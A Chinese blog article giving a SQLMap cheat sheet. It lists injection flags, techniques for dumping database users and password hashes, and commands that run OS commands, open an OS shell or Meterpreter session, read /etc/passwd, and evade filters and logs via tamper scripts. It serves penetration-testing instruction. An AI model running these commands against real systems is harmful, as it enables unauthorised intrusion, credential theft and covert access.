企业项目管理、ORK、研发管理与敏捷开发工具平台

网站首页 > 精选文章 正文

SQLMap使用指南

wudianyun 2024-12-26 14:33:48 精选文章 46 ℃

一、基本用法

#1、通用参数

-u "<URL>" 
-p "<要测试的参数>" 
--user-agent=SQLMAP //指定UA
--random-agent //随机UA
--threads=10 //指定线程数
--risk=3 #MAX //风险等级,默认是1,最大是3
--level=5 #MAX //测试级别,默认是1,最大是5
//--level和--risk在某些方面有重叠,但它们各自侧重不同,--level是广度上的拓展,--risk 是深度上的挖掘。
--dbms="<指定数据库类型,比如Mysql,MSSQL>" 
--os="<指定操作系统类型>"
--technique="UB" //仅按顺序使用 UNION 和 BLIND 技术(默认“BEUSTQ”)
//B:布尔型盲注(Boolean-based blind)
E:报错型注入(Error-based)
U:联合查询注入(UNION query-based)
S:堆叠查询注入(Stacked queries)
T:时间型盲注(Time-based blind)
Q:内联查询注入(inline Query)
--batch //非交互模式,通常 Sqlmap 会询问,此处设置默认应答
--auth-type="<AUTH>" //HTTP 验证类型(基本、摘要、NTLM 或 PKI)
--auth-cred="<AUTH>" //HTTP 身份验证凭证(名称:密码)
--proxy=http://127.0.0.1:8080 //指定代理
--union-char "123" //用于测试联合查询注入的字符,默认情况下,sqlmap 测试联合查询注入会使用 NULL 字符。你可以手动指定

#2、信息获取

--current-user //获取当前数据库用户
--is-dba //检查当前用户是否为数据库管理员账户
--hostname //获取主机名
--users //获取DBMS所有用户
--passwords //获取和破解 DBMS 用户的密码哈希
--privileges //获取 DBMS 所有用户权限

#二、注入点

1、利用 Burp/ZAP 抓包文件

捕获请求并创建 request.txt 文件

sqlmap -r req.txt --current-user

2、GET注入

sqlmap -u "http://example.com/?id=1" -p id
sqlmap -u "http://example.com/?id=*" -p id

3、POST注入

sqlmap -u "http://example.com" --data "username=*&password=*"

4、标头和其他 HTTP 方法注入

//cookie注入
sqlmap  -u "http://example.com" --cookie "mycookies=*"

//HTTP标头注入
sqlmap -u "http://example.com" --headers="x-forwarded-for:127.0.0.1*"
sqlmap -u "http://example.com" --headers="referer:*"

//PUT请求注入
sqlmap --method=PUT -u "http://example.com" --headers="referer:*"

//注入测试点位于"*"号处

5、注入成功时进行提示

--string="string_showed_when_TRUE" 

6、Eval

Sqlmap 允许使用 -e 或 --eval 来处理每个有效载荷,在每个请求期间运行自定义的 Python 代码。在下面的示例中,flask 在发送 flask cookie 会话之前,会使用已知secret对其进行签名:

sqlmap http://1.1.1.1/sqli --eval "from flask_unsign import session as s; session = s.sign({'uid': session}, secret='SecretExfilratedFromTheMachine')" --cookie="session=*" --dump

7、与系统shell交互

//执行系统命令
python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami

//获取交互式系统shell
python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell

//带外shell,如Meterpreter 反向shell连接,当后端 DBMS 为 MySQL,PostgreSQL 或 Microsoft SQL Server 时,且当前会话用户拥有对数据库特定功能和架构缺陷的利用权限时,sqlmap 能够在攻击者机器与数据库服务器之间建立起有状态带外TCP连接。如Meterpreter 会话、或者图形用户界面(VNC)会话。
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn

8、读取文件

--file-read=/etc/passwd

9、使用SQLmap自动抓取网站

sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3

--batch //非交互式,默认应答
--crawl //抓取深度
--forms //解析和测试表单

10、二阶注入

python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs

#三、定制化注入测试

1、设置后缀

python sqlmap.py -u "http://example.com/?id=1"  -p id --suffix="-- "

2、设置前缀

python sqlmap.py -u "http://example.com/?id=1"  -p id --prefix="') "

3、帮助寻找布尔注入

// --not-string“string”将有助于查找未出现在 True 响应中的字符串(用于查找布尔盲注)
sqlmap -r r.txt -p id --not-string ridiculous --batch

4、Tamper脚本

你可以用Python创建自己的Tamper脚本。

--tamper=name_of_the_tamper
//在kali中你可以在/usr/share/sqlmap/tamper中看到所有的脚本
//在windows中,可以在sqlmap\tamper文件夹中看到所有的脚本

常用Tamper脚本

Tamper

描述

apostrophemask.py

将撇号字符替换为其 UTF-8 全角对应字符

apostrophenullencode.py

将撇号字符替换为非法的双 unicode 对应字符

appendnullbyte.py

在有效载荷末尾添加已编码的 NULL 字节字符

base64encode.py

使用Base64编码载荷中的所有字符

between.py

将大于运算符 ('>') 替换为 'NOT BETWEEN 0 AND #'

bluecoat.py

将 SQL 语句后的空格字符替换为有效的随机空白字符。然后将字符 = 替换为 LIKE 运算符

chardoubleencode.py

对给定有效载荷中的所有字符进行双重 url 编码(不处理已编码字符)

commalesslimit.py

将“LIMIT M, N”等实例替换为“LIMIT N OFFSET M”

commalessmid.py

将“MID(A, B, C)”等实例替换为“MID(A FROM B FOR C)”

concat2concatws.py

将“CONCAT(A, B)”等实例替换为“CONCAT_WS(MID(CHAR(0), 0, 0), A, B)”

charencode.py

对给定载荷中的所有字符进行 URL 编码(不处理已编码的字符)

charunicodeencode.py

使用Unicode-url 对给定载荷中的非编码字符进行编码(不处理已编码的字符)。格式: “%u0022”

charunicodeescape.py

使用Unicode-url 对给定载荷中的非编码字符进行编码(不处理已编码的字符)。格式:"\u0022"

equaltolike.py

将所有出现的运算符等于 ('=') 替换为运算符 'LIKE'

escapequotes.py

斜杠转义引号(' 和 ")

greatest.py

将大于运算符 ('>') 替换为 'GREATEST' 对应项

halfversionedmorekeywords.py

在每个关键字前添加版本化的 MySQL 注释

ifnull2ifisnull.py

将“IFNULL(A, B)”等实例替换为“IF(ISNULL(A), B, A)”

modsecurityversioned.py

包含带有版本化注释的完整查询

modsecurityzeroversioned.py

包含带有零版本注释的完整查询

multiplespaces.py

在 SQL 关键字周围添加多个空格

nonrecursivereplacement.py

用适合替换的表示形式替换预定义的 SQL 关键字(例如 .replace("SELECT", ""))过滤器

percentage.py

在每个字符前面添加百分号 ('%')

overlongutf8.py

转换给定有效载荷中的所有字符(不处理已编码的字符)

randomcase.py

用随机大小写值替换每个关键字字符

randomcomments.py

为 SQL 关键字添加随机注释

securesphere.py

附加特殊制作的字符串

sp_password.py

将“sp_password”附加到有效载荷的末尾,以自动混淆 DBMS 日志

space2comment.py

用注释替换空格字符 (' ')

space2dash.py

将空格字符 (' ') 替换为破折号注释 ('--'),后跟随机字符串和换行符 ('\n')

space2hash.py

将空格字符 (' ') 替换为井号字符 ('#'),后跟随机字符串和换行符 ('\n')

space2morehash.py

将空格字符 (' ') 替换为井号字符 ('#'),后跟随机字符串和换行符 ('\n')

space2mssqlblank.py

将空格字符 (' ') 替换为有效替代字符集中的随机空白字符

space2mssqlhash.py

将空格字符 (' ') 替换为井号字符 ('#'),后跟换行符 ('\n')

space2mysqlblank.py

将空格字符 (' ') 替换为有效替代字符集中的随机空白字符

space2mysqldash.py

将空格字符 (' ') 替换为破折号注释 ('--'),后跟换行符 ('\n')

space2plus.py

将空格字符 (' ') 替换为加号 ('+')

space2randomblank.py

将空格字符 (' ') 替换为有效替代字符集中的随机空白字符

symboliclogical.py

将 AND 和 OR 逻辑运算符替换为其对应的符号运算符(&& 和 ||)

unionalltounion.py

将 UNION ALL SELECT 替换为 UNION SELECT

unmagicquotes.py

用多字节组合 %bf%27 代替引号字符 (') 并在末尾加上通用注释(使其生效)

uppercase.py

将每个关键字字符替换为大写值“INSERT”

varnish.py

附加 HTTP 标头“X-originating-IP”

versionedkeywords.py

用版本化的 MySQL 注释括住每个非函数关键字

versionedmorekeywords.py

用版本化的 MySQL 注释括住每个关键字

xforwardedfor.py

附加假 HTTP 标头“X-Forwarded-For”

Tags:

最近发表
标签列表